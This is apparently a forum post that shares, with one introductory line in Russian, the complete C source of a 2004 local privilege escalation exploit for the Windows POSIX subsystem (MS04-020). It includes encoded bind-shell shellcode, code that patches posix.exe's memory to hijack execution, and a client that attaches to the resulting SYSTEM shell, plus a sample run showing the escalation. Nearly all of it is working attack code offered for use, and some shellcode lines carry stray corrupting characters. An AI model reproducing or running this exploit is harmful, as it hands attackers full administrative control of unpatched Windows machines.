А вот и сплоит:
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/* Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit (MS04-020)
*
* Tested on windows 2k sp4 CN,NT/XP/2003 NOT TESTED
*
* Posixexp.c By bkbll (bkbll cnhonker net,bkbll tom com) www cnhonker com
*
* 2004/07/16
*
* thanks to eyas xfocus org
*
*
C:\>whoami
VITUALWIN2K\test

C:\>posixexp
Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(1
By bkbll (bkbll#cnhonker.net,bkbll#tom.com) www.cnhonker.com

pax: illegal option--h
Usage: pax -[cimopuvy] [-f archive] [-s replstr] [-t device] [pattern.
pax -r [-cimopuvy] [-f archive] [-s replstr] [-t device] [patte
pax -w [-adimuvy] [-b blocking] [-f archive] [-s replstr]
[-t device] [-x format] [pathname...]
pax -r -w [-ilmopuvy] [-s replstr] [pathname...] directory

For more information on pax syntax, see Command Reference
Help in the Windows Help file.Remote addr:0x7ff90000
Microsoft Windows 2000 [Version 5.00.2195]
© 版权所有 1985-2000 Microsoft Corp.

C:\WINNT\system32>whoami
whoami
NT AUTHORITY\SYSTEM

C:\WINNT\system32>exit
[+] Connection closed in exit command.

C:\>

*/

#include <stdlib.h>
#include <Winsock2.h>
#include <windows.h>

#pragma comment(lib,"ws2_32")

#define PATCHADDR 0x0100343D        //需要动态修改posix.exe的位置
#define MEMSIZE 0x350
#define CODESIZE 50
#define bind_port_offset 116
#define RETADDR 0x796E9B53 //advapi32.dll jmp esp
// [ebp-0x200] [saved ebp] [saved eip]
#define EIPLOCATION 0x200+4-12    //12是"\DosDevices\"的长度
#define CANWRITEADDR 0x7ffdf02c     //该地址+0x20要可写
#define VERSION "1.0"

unsigned short bindport = 60000;

unsigned char jmpcode[]=
"\x33\xC0"        //xor eax,eax
"\x66\xB8\xc0\x01"    //mov ax,0x1ff
"\x40"            //inc eax
"\x2B\xE0"        //sub esp,eax
"\xFF\xE4"        //jmp esp
"\x00";            //\0 zero NULL
 
unsigned char bind_shell[]=
"\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x45\x01\x80\x34\x0b\xee\xe­2\xfa"
"\xeb\x05\xe8\xeb\xff\xff\xff"
/* 302 bytes shellcode, xor with 0xee */
"\x07\x12\xee\xee\xee\xb1\x8a\x4f\xde\xee\xee\xee\x65\xae\xe­2\x65"
"\x9e\xf2\x43\x65\x86\xe6\x65\x19\x84\xea\xb7\x06\x72\xee\xe­e\xee"
"\x0c\x17\x86\xdd\xdc\xee\xee\x86\x99\x9d\xdc\xb1\xba\x11\xf­8\x7b"
"\x84\xe8\xb7\x06\x6a\xee\xee\xee\x0c\x17\x65\x2a\xdd\x27\xd­d\x3c"
"\x5f\xea\x19\x1f\xc5\x0c\x6f\x02\x7e\xef\xee\xee\x65\x22\xb­f\x86"
"\xec\xec\xee\xee\x11\xb8\xca\xdd\x27\xbf\x86\xec\xee\xee\xd­b\x65"
"\x02\xbf\xbf\xbf\xbf\x84\xef\x84\xec\x11\xb8\xfe\x7d\x84\xf­e\xbb"
"\xbd\x11\xb8\xfa\xbe\xbd\x11\xb8\xf6\x65\x12\x84\xe0\xb7\x4­5\x0c"
"\x13\xbe\xbe\xbd\x11\xb8\xf2\x88\x29\xaa\xca\xc2\xef\xef\x4­5\x45"
"\x45\x65\x3a\x86\x8d\x83\x8a\xee\x65\x02\xdd\x27\xbe\xb9\xb­c\xbf"
"\xbf\xbf\x84\xef\xbf\xbf\xbb\xbf\x11\xb8\xea\x84\x11\x11\xd­9\x11"
"\xb8\xe2\xbd\x11\xb8\xce\x11\xb8\xce\x11\xb8\xe6\xbf\xb8\x6­5\x9b"
"\xd2\x65\x9a\xc0\x96\xed\x1b\xb8\x65\x98\xce\xed\x1b\xdd\x2­7\xa7"
"\xaf\x43\xed\x2b\xdd\x35\xe1\x50\xfe\xd4\x38\x9a\xe6\x2f\x2­5\xe3"
"\xed\x34\xae\x05\x1f\xd5\xf1\x9b\x09\xb0\x65\xb0\xca\xed\x3­3\x88"
"\x65\xe2\xa5\x65\xb0\xf2\xed\x33\x65\xea\x65\xed\x2b\x45\xb­0\xb7"
"\x2d\x06\x11\x10\x11\x11\x60\xa0\xe0\x02\x9c\x10\x5d\xf8\x0­1\x20"
"\x0e\x8e\x43\x37\xeb\x20\x37\xe7\x1b\x43\x4a\xf4\x9e\x29\x4­a\x43"
"\xc0\x07\x0b\xa7\x68\xa7\x09\x97\x28\x97\x25\x03\x12\xd5"
;

int readwrite(SOCKET fd);
int client_connect(int sockfd,char* server,int port);

main()
{
 STARTUPINFO si;
 PROCESS_INFORMATION pi;
 LPVOID pdwCodeRemote;
 unsigned int cbMemSize = MEMSIZE;
 DWORD dwOldProtect,dwNumBytesXferred;
 unsigned char buffer[MEMSIZE];
 unsigned int buflen=0;
 unsigned char textbuf[CODESIZE];
 int i;
 unsigned short lports;
 char cmdarg[400];
 char systemdir[MAX_PATH+1];
 WSADATA    wsd;
 SOCKET sockfd;
 
 printf("Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(%s)\n",VERSION);
 printf("By bkbll (bkbll#cnhonker.net,bkbll#tom.com) www.cnhonker.com\;n\n");
 if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
 {
      printf("[-] WSAStartup error:%d\n", WSAGetLastError());
      return -1;
 }
 
 i = GetWindowsDirectory(systemdir,MAX_PATH);
 systemdir[I]='\0';
 _snprintf(cmdarg,sizeof(cmdarg)-1,"%s\\system32\\posix.exe /P %s\\system32\\pax.exe /C
pax -h",systemdir,systemdir);
 //printf("cmdarg:%s\n",cmdarg);
 //exit(0);
 ZeroMemory(&si,sizeof(si));
 si.cb = sizeof(si);
 ZeroMemory( &pi,sizeof(pi));
 //create process
 //先让psxss运行起来
 if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE, 0, 0, 0, &si, &pi))
 {
   printf("CreateProcess1 failed:%d\n", GetLastError());
   return 0;
 }
 WaitForSingleObject(pi.hProcess, INFINITE);
 //再运行一次
 ZeroMemory(&si,sizeof(si));
 si.cb = sizeof(si);
 ZeroMemory( &pi,sizeof(pi));
 if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE,CREATE_SUSPENDED, 0, 0, &si, &pi))
 {
   printf("CreateProcess2 failed:%d\n", GetLastError());
   return 0;
 }
 //alloc from remote process
 pdwCodeRemote = (PDWORD)VirtualAllocEx(pi.hProcess, NULL, cbMemSize,MEM_COMMIT |
 MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);
 if (pdwCodeRemote == NULL)
 {
      TerminateProcess(pi.hProcess,0);
      printf("VirtualAllocEx failed:%d\n",GetLastError());
      return 0;
 }
 printf("Remote addr:0x%08x\n",pdwCodeRemote);
 //we can write and execute
 if(!VirtualProtectEx(pi.hProcess, pdwCodeRemote, cbMemSize,PAGE_EXECUTE_READWRITE, &dwOldProtect))
 {
      TerminateProcess(pi.hProcess,0);
      printf("VirtualProtectEx failed:%d\n",GetLastError());
      return 0;
 }
 //make shellcode    
 lports = htons(bindport)^0xeeee;
 memcpy(bind_shell+bind_port_offset,&lports,2);
 
 memset(buffer,'\x90',MEMSIZE);
 //memset(buffer,'A',EIPLOCATION);
 buffer[MEMSIZE-1] = '\0';
 i=sizeof(bind_shell)-1;
 if(i >= EIPLOCATION)
 {
      printf("shellcode so large:%d,must < %d\n",i,MEMSIZE);
      TerminateProcess(pi.hProcess,0);
      return 0;
 }
 i=EIPLOCATION-i;
 memcpy(buffer+i,bind_shell,sizeof(bind_shell)-1);
 *(unsigned int*)(buffer+EIPLOCATION) = RETADDR; //覆盖eip
 *(unsigned int*)(buffer+EIPLOCATION+4) =CANWRITEADDR; //覆盖第一个参数
 memcpy(buffer+EIPLOCATION+12,jmpcode,sizeof(jmpcode)-1);
 //write in to target
 buflen=MEMSIZE;
 if(!WriteProcessMemory(pi.hProcess,pdwCodeRemote,buffer,buflen,&dwNumBytesXferred))
 {
      TerminateProcess(pi.hProcess,0);
      printf("WriteProcessMemory failed:%d\n",GetLastError());
      return 0;
 }
 //modified the process .text
 if(!VirtualProtectEx(pi.hProcess,(LPVOID)PATCHADDR,CODESIZE,PAGE_EXECUTE_READWRITE, &dwOldProtect))
 {
      TerminateProcess(pi.hProcess,0);
      printf("VirtualProtectEx 0x08x failed:%d\n",PATCHADDR,GetLastError());
      return 0;
 }
 //创建要修补的内容
 i = 0;
 textbuf[i++]='\xbf';
 textbuf[i++]=(DWORD)pdwCodeRemote & 0xff;    //mov edi,pdwCodeRemote
 textbuf[i++]=((DWORD)pdwCodeRemote >> 8 ) & 0xff;
 textbuf[i++]=((DWORD)pdwCodeRemote >> 16 ) & 0xff;
 textbuf[i++]=((DWORD)pdwCodeRemote >> 24 ) & 0xff;
 //替换跳转指令
 textbuf[i++]='\xeb';
 textbuf[i++]='\x09'; //jmp .+0b
 //写进进程中
 if(!WriteProcessMemory(pi.hProcess,(LPVOID)PATCHADDR,textbuf,i,&dwNumBytesXferred))
 {
      TerminateProcess(pi.hProcess,0);
      printf("WriteProcessMemory failed:%d\n",GetLastError());
      return 0;
 }
 ResumeThread(pi.hThread);
 Sleep(5);
 sockfd=WSASocket(2,1,0,0,0,0);
 if(sockfd == INVALID_SOCKET)
 {
      printf("[-] WSASocket error:%d\n", WSAGetLastError());
      return -1;
 }
 if(client_connect(sockfd,"127.0.0.1",bindport) < 0)
 {
      closesocket(sockfd);
      printf("[-] Maybe not success?\n");
 }
 readwrite(sockfd);
 TerminateProcess(pi.hProcess,0);
 WaitForSingleObject(pi.hProcess, INFINITE);
}

int readwrite(SOCKET fd)
{
 fd_set fdr1;
 unsigned char buffer[1024];
 int istty,ct1,ct2;
 struct timeval timer;

 memset(buffer,0,sizeof(buffer));
 istty=_isatty(0);
 timer.tv_sec=0;
 timer.tv_usec=0;

 while(1)
 {

      FD_ZERO(&fdr1);
      FD_SET(fd,&fdr1);
      ct1=select(0,&fdr1,NULL,NULL,&timer);
      if(ct1==SOCKET_ERROR)
      {
          printf("[-] select error:%d\n",GetLastError());
          break;
      }
      if(FD_ISSET(fd,&fdr1))
      {
          ct1=recv(fd,buffer,sizeof(buffer)-1,0);
          if((ct1==SOCKET_ERROR) || (ct1==0))
          {
              printf("[-] target maybe close the socket.\n");
              break;
          }
          if(_write(1,buffer,ct1)<=0)
          {
              printf("[-] write to stdout error:%d\n",GetLastError());
              break;
          }

          memset(buffer,0,sizeof(buffer));
      }
      if(istty)
      {
          if(_kbhit()) /* stdin can read */
          {


              ct1=read(0,buffer,sizeof(buffer)-1);
              if(ct1 <= 0)
              {
                  printf("[-] read from stdin error:%d\n",GetLastError());
                  break;
              }
              ct2=send(fd,buffer,ct1,0);
              if((ct2==SOCKET_ERROR) || (ct2==0))
              {
                  printf("[-] target maybe close the socket.\n");
                  break;
              }
              if( strnicmp(buffer, "exit", 4) == 0)
              {
                  printf("[+] Connection closed in exit command.\n");
                  break;
              }
              memset(buffer,0,sizeof(buffer));
          }
      }
      else
      {
          ct1=read(0,buffer,sizeof(buffer)-1);
          if(ct1<=0)
          {
              printf("[-] read from nontty stdin error:%d\n",GetLastError());
              break;
          }
          ct2=send(fd,buffer,ct1,0);
          if((ct2==SOCKET_ERROR) || (ct2==0))
          {
              printf("[-] target maybe close the socket\n");
              break;
          }
          if( strnicmp(buffer, "exit", 4) == 0)
          {
              printf("[+] Connection closed in exit command.\n");
              break;
          }
          memset(buffer,0,sizeof(buffer));
      }
 }
 return(1);
}


/* 连接指定server 和port */
int client_connect(int sockfd,char* server,int port)
{
 struct sockaddr_in cliaddr;
 struct hostent *host;
 short port2;

 port2=port & 0xffff;

 if((host=gethostbyname(server))==NULL)
 {
      printf("gethostbyname(%s) error\n",server);
      return(-1);
 }

 memset(&cliaddr,0,sizeof(struct sockaddr));
 cliaddr.sin_family=AF_INET;
 cliaddr.sin_port=htons(port2);
 cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
 if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
 {
      printf("[-] Trying %s:%d error\n",server,port);
      closesocket(sockfd);
      return(-1);
 }
 //printf("ok\r\n");
 return(0);
}
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